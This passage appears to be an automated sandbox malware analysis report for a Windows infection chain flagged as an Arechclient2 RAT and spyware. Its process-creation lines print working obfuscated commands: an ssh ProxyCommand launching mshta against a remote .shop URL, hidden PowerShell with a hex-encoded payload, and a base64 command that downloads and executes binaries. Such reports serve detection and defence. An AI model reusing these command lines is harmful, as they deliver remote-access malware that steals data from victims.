Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0846A2BD	20_2_0846A2BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_084664B8	20_2_084664B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08462B5B	20_2_08462B5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0846AB5B	20_2_0846AB5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08463360	20_2_08463360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08462B78	20_2_08462B78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08464B18	20_2_08464B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0846B1FE	20_2_0846B1FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08469389	20_2_08469389
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08482E50	20_2_08482E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848951D	20_2_0848951D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08482711	20_2_08482711
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_084836C0	20_2_084836C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848D4F0	20_2_0848D4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_084869F2	20_2_084869F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848BF88	20_2_0848BF88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08481180	20_2_08481180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08489F98	20_2_08489F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848A448	20_2_0848A448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08480040	20_2_08480040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848A458	20_2_0848A458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08485458	20_2_08485458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08481153	20_2_08481153
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08485468	20_2_08485468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848BF78	20_2_0848BF78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08480006	20_2_08480006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08482E3B	20_2_08482E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08485FC8	20_2_08485FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848D4CB	20_2_0848D4CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848B9D5	20_2_0848B9D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848F3E8	20_2_0848F3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08489F88	20_2_08489F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848C598	20_2_0848C598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0848C592	20_2_0848C592
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08481D97	20_2_08481D97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08481DA8	20_2_08481DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_084836AE	20_2_084836AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08735870	20_2_08735870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08730040	20_2_08730040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08732CEB	20_2_08732CEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0873D2A8	20_2_0873D2A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0873E348	20_2_0873E348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08739268	20_2_08739268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08730012	20_2_08730012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08731EF4	20_2_08731EF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_087346B8	20_2_087346B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_087346A8	20_2_087346A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_0873AD5B	20_2_0873AD5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08739335	20_2_08739335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08731F08	20_2_08731F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08487748	20_2_08487748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_08487738	20_2_08487738

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\48216953\updater.exe 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: String function: 00BC1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: String function: 00BD0D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: String function: 00BD8B30 appears 42 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 6352
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2050
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 6352	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2050	Jump to behavior

Source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: Process Memory Space: powershell.exe PID: 5016, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winLNK@42/100@4/5

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C1A6AD GetLastError,FormatMessageW,

19_2_00C1A6AD

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C08DE9 AdjustTokenPrivileges,CloseHandle,		19_2_00C08DE9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C09399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		19_2_00C09399

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C1B976 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

19_2_00C1B976

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C14148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

19_2_00C14148

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C1C9DA CoInitialize,CoCreateInstance,CoUninitialize,

19_2_00C1C9DA

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C1443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

19_2_00C1443D

Source: C:\Windows\System32\OpenSSH\ssh.exe

File created: C:\Users\user\.ssh

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2272:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\28e44716e636425e8f77e6f595c97e30
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2468:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4r2tf3a.fex.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ehcfdbh\AutoIt3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ehcfdbh\AutoIt3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\OpenSSH\sftp.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\OpenSSH\sftp.exe "C:\Windows\System32\OpenSSH\sftp.exe" -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" .
Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,2208651499941348974,16461563014979243643,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\48216953\updater.exe "C:\Users\user\AppData\Local\Temp\48216953\updater.exe" C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown	Process created: C:\ehcfdbh\AutoIt3.exe "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown	Process created: C:\ehcfdbh\AutoIt3.exe "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCEC